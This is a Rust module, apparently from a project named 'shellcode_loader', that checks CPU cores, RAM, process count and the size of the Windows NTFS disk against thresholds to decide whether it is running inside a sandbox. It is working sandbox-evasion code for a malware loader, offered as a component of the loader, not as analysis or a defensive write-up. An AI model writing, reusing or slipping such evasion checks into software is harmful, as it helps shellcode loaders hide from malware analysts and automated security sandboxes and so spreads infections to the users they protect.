shellcode_loader/sandbox/
mod.rs1use std::ffi::OsStr;
2
3use sysinfo::{System,Disks};
4
5fn count_cpus()->u32{
6 let cpus=System::physical_core_count();
8 match cpus {
9 Some(res)=>{return res as u32;},
10 None=>{return 0;}
11 }
12}
13
14fn count_rams(sys:&System)->u32{
15 ((sys.total_memory() as u64)/(1024*1024*1024)) as u32
17}
18
19fn count_disk()->u32{
20 let disks=Disks::new_with_refreshed_list();
22 for disk in disks.list(){
23 let name=disk.name();
24 let file_system=disk.file_system();
25
26 let dst_file_name=OsStr::new("Windows");
27 let dst_file_system=OsStr::new("NTFS");
28 if name==dst_file_name&&file_system==dst_file_system{
29 return ((disk.total_space() as u64)/(1024*1024*1024)) as u32;
30 }
31 }
32 100
33}
34
35fn count_proc(sys:&System)->u32{
36 sys.processes().len() as u32
38}
39
40pub fn is_sandbox(cpus_count:u32,rams_size:u32,proc_count:u32,disk_size:u32)->bool{
41 let mut sys=System::new();
42 sys.refresh_all();
43 let cpus=count_cpus();
44 let rams=count_rams(&sys);
45 let proc=count_proc(&sys);
46 let disk=count_disk();
47
48 return cpus<cpus_count || rams<rams_size || proc<proc_count || disk<disk_size
49}